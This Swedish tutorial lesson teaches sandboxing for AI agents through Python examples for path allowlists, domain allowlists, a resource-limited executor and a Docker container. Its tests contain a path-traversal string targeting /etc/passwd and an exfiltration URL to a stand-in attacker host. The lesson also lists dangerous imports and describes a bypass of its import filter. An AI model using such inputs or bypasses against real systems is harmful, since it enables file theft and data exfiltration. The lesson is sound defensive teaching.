Hoppa till huvudinnehåll
Svenska— Välj ett språk
Meny

Sandboxning och isolering

Lektion 7 av 14 Uppdaterad 28 juli 2026 Avancerad
På denna sida
  1. Varför isolera AI-agenter?
  2. Nivå 1: Begränsa resursåtkomst
  3. Nivå 2: Kontrollera utgående trafik
  4. Nivå 3: Exekvera kod utan att lita på den med maskinen
  5. Välja rätt nivå
  6. Viktiga punkter

Varför isolera AI-agenter?

En AI-agent som exekuterar kod eller anropar verktyg skiljer sig fundamentalt från en enkel chattbot. En komprometterad chattbot producerar, i värsta fall, ett pinsamt svar; en komprometterad agent agerar – den kan köra systemkommandon, läsa känsliga filer eller kommunicera med externa tjänster. Alla försvar vi hittills behandlat har syftat till att förhindra kompromettering. Sandboxning ändrar förhållningssättet: den utgår från att kompromettering så småningom kommer att ske och fokuserar på att begränsa vad en angripare kan göra väl inne i systemet. Detta är en fundamental förändring, vilket är anledningen till att sandboxning inte ersätter några av de tidigare lagren.

Nivå 1: Begränsa resursåtkomst

Den första nivån tillämpar principen om minsta privilegium på filer och kommandon. Den tekniska nyckelpunkten är att använda resolve() före jämförelse: utan detta skulle en sökväg som /data/app/uploads/../../etc/passwd börja med den tillåtna katalogen och passera en naiv prefixkontroll. Att lösa upp den verkliga sökvägen omintetgör denna traversering, vilket fortfarande är en av de vanligaste attackerna mot agenter som manipulerar filer.

import os
from pathlib import Path

class SandboxPermissions:
    """Controls access permissions to resources."""

    def __init__(self, allowed_folder: str, allowed_commands: list[str]):
        self.allowed_folder = Path(allowed_folder).resolve()
        self.allowed_commands = set(allowed_commands)

    def verify_path(self, path: str) -> bool:
        """Verifies that a path is within the allowed folder."""
        resolved_path = Path(path).resolve()
        try:
            resolved_path.relative_to(self.allowed_folder)
            return True
        except ValueError:
            return False

    def verify_command(self, command: str) -> bool:
        """Verifies that a command is in the allowlist."""
        cmd_base = command.split()[0] if command else ""
        return cmd_base in self.allowed_commands

    def read_file(self, path: str) -> str:
        """Secure reading with path verification."""
        if not self.verify_path(path):
            raise PermissionError(
                f"Access denied: {path} is outside the allowed folder"
            )
        return Path(path).read_text()

# Usage
sandbox = SandboxPermissions(
    allowed_folder="/data/app/uploads",
    allowed_commands=["ls", "cat", "wc"],
)

# OK: file in allowed folder
try:
    content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
    print(f"Blocked: {e}")

# Blocked: path traversal attempt
try:
    content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
    print(f"Blocked: {e}")

Kommandon följer samma logik genom att använda en tillåtandelista (allowlist) istället för en blockeringslista (blocklist). Asymmetrin är avgörande: en blockeringslista tvingar dig att föreställa dig varje farligt kommando – en övning du kommer att förlora – medan en tillåtandelista bara kräver att du räknar upp vad agenten faktiskt behöver, ofta bara tre eller fyra kommandon.

Nivå 2: Kontrollera utgående trafik

Nätverksisolering adresserar det exfiltreringsscenario vi diskuterade tidigare. Så länge agenten kan skicka en HTTP-förfrågan till vilken domän som helst, kan alla data den rör vid lämna din perimeter, och den utgående trafiken kommer att se ut som vanlig applikationstrafik. Att begränsa destinationerna till en explicit lista gör ett exfiltreringsförsök till ett loggat undantag.

import subprocess

class NetworkSandbox:
    """Controls the agent's network communications."""

    def __init__(self, allowed_domains: list[str]):
        self.allowed_domains = set(allowed_domains)

    def is_allowed_request(self, url: str) -> bool:
        """Verifies that a URL is in the allowlist."""
        from urllib.parse import urlparse
        domain = urlparse(url).hostname
        return domain in self.allowed_domains

    def secure_fetch(self, url: str) -> str:
        """HTTP request with domain verification."""
        if not self.is_allowed_request(url):
            raise PermissionError(f"Domain not allowed: {url}")
        import urllib.request
        with urllib.request.urlopen(url, timeout=10) as resp:
            return resp.read().decode()

sandbox_net = NetworkSandbox(
    allowed_domains=["api.openai.com", "api.anthropic.com"]
)

# OK
try:
    sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
    print(e)

# Blocked: exfiltration to an external domain
try:
    sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
    print(f"Blocked: {e}")

Nivå 3: Exekvera kod utan att lita på den med maskinen

Att köra kod skriven av en modell är det mest känsliga fallet. Implementeringen nedan kombinerar tre skydd: importkontroll före exekvering, minnes- och CPU-tidsbegränsningar inställda inuti själva skriptet, samt en miljö reducerad till det absolut nödvändigaste vid start av underprocessen.

En varning gällande importverifiering är nödvändig. Den förlitar sig på textsökning, och en noggrann angripare kommer att kringgå den – __import__("os") innehåller inte den sökta strängen. Behandla denna verifiering som ett skyddsräcke mot misstag och naiva försök, aldrig som en säkerhetsgräns. Den verkliga gränsen är den isolerade processen med sina resursbegränsningar.

import subprocess
import tempfile
import os

class ExecutionSandbox:
    """Executes model-generated code in an isolated environment."""

    def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
        self.timeout = timeout
        self.max_memory = max_memory_mb

    def execute_python(self, code: str) -> dict:
        """Executes Python code in an isolated process."""
        # Security checks before execution
        dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
        for imp in dangerous_imports:
            if f"import {imp}" in code or f"from {imp}" in code:
                return {
                    "success": False,
                    "error": f"Forbidden import: {imp}",
                    "output": "",
                }

        # Create a temporary file
        with tempfile.NamedTemporaryFile(
            mode="w", suffix=".py", delete=False
        ) as f:
            # Add restrictions at the start of the script
            wrapper = f"""
import resource
import sys

# Limit memory
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))

# Limit CPU time
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))

# User code
{code}
"""
            f.write(wrapper)
            temp_file = f.name

        try:
            result = subprocess.run(
                ["python3", temp_file],
                capture_output=True,
                text=True,
                timeout=self.timeout,
                env={"PATH": "/usr/bin", "HOME": "/tmp"},
            )
            return {
                "success": result.returncode == 0,
                "output": result.stdout[:5000],
                "error": result.stderr[:2000] if result.returncode != 0 else "",
            }
        except subprocess.TimeoutExpired:
            return {"success": False, "error": "Timeout exceeded", "output": ""}
        finally:
            os.unlink(temp_file)

# Usage
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)

# OK: simple calculation
result = sandbox.execute_python("print(sum(range(100)))")
print(result)  # {"success": True, "output": "4950\n", "error": ""}

# Blocked: system access attempt
result = sandbox.execute_python("import os; os.listdir('/')")
print(result)  # {"success": False, "error": "Forbidden import: os"}

För produktionsfall erbjuder Docker mer robust isolering eftersom det inte längre förlitar sig på samarbete från den exekverade koden. Varje kommandoalternativ stänger en specifik dörr: --network=none tar bort varje möjlighet till nätverksexfiltrering, --read-only förhindrar persistens, --memory och --cpus sätter tak för konsumtion, --tmpfs ger flyktigt och begränsat arbetsutrymme, och --security-opt=no-new-privileges förbjuder eskalering under exekvering. Flaggen --rm förstör containern i slutet, vilket garanterar att inget tillstånd överlever från en exekvering till nästa.

class DockerSandbox:
    """Executes code in an ephemeral Docker container."""

    def __init__(self, image: str = "python:3.12-slim"):
        self.image = image

    def execute(self, code: str, timeout: int = 10) -> dict:
        """Executes code in an isolated container."""
        cmd = [
            "docker", "run", "--rm",
            "--network=none",          # No network
            "--memory=256m",           # Memory limit
            "--cpus=0.5",              # CPU limit
            "--read-only",             # Read-only filesystem
            "--tmpfs=/tmp:size=50m",   # Limited temporary space
            "--security-opt=no-new-privileges",
            self.image,
            "python3", "-c", code,
        ]
        try:
            result = subprocess.run(
                cmd, capture_output=True, text=True, timeout=timeout
            )
            return {
                "success": result.returncode == 0,
                "output": result.stdout[:5000],
                "error": result.stderr[:2000],
            }
        except subprocess.TimeoutExpired:
            return {"success": False, "error": "Timeout", "output": ""}

Välja rätt nivå

Att stapla alla tre nivåer på en enkel FAQ-chattbot är kostsamt och onödigt, medan att enbart förlita sig på den första nivån för en agent som exekuterar kod innebär att man i praktiken inte skyddar något. Tabellen nedan ger en utgångspunkt; justera den baserat på känsligheten hos de data som är tillgängliga, vilket ofta är viktigare än agentens sofistikering.

Scenario Rekommenderad nivå
Enkel Q&A-chattbot Behörigheter (Nivå 1)
Agent med API-åtkomst Behörigheter + Nätverk (Nivå 1–2)
Agent som exekverar kod Fullständig Docker (Nivå 3)
Fleranvändaragent Docker + sessionsisolering

Oavsett vilken nivå du väljer, testa den som du skulle testa en funktion. En sandbox som du installerar och sedan glömmer bort försämras tyst över tid – ett tillagt beroende, en volym monterad “tillfälligt”, en domän öppnad för felsökning. Kör om tester för sökvägstraversering och förbjudna domäner vid varje agentuppdatering: en kringgången sandbox är inte en mindre anomali, det är en kritisk incident.

Viktiga punkter

  • Sandboxning är avgörande så snart en agent har tillgång till verktyg eller exekverar kod
  • Tre isoleringsnivåer: behörigheter, nätverk, container – kombinera baserat på risk
  • Principen om minsta privilegium gäller för varje resurs: filer, nätverk, kommandon
  • Docker med --network=none och --read-only erbjuder den mest robusta isoleringen
  • Isolering måste testas regelbundet – en kringgången sandbox är en kritisk incident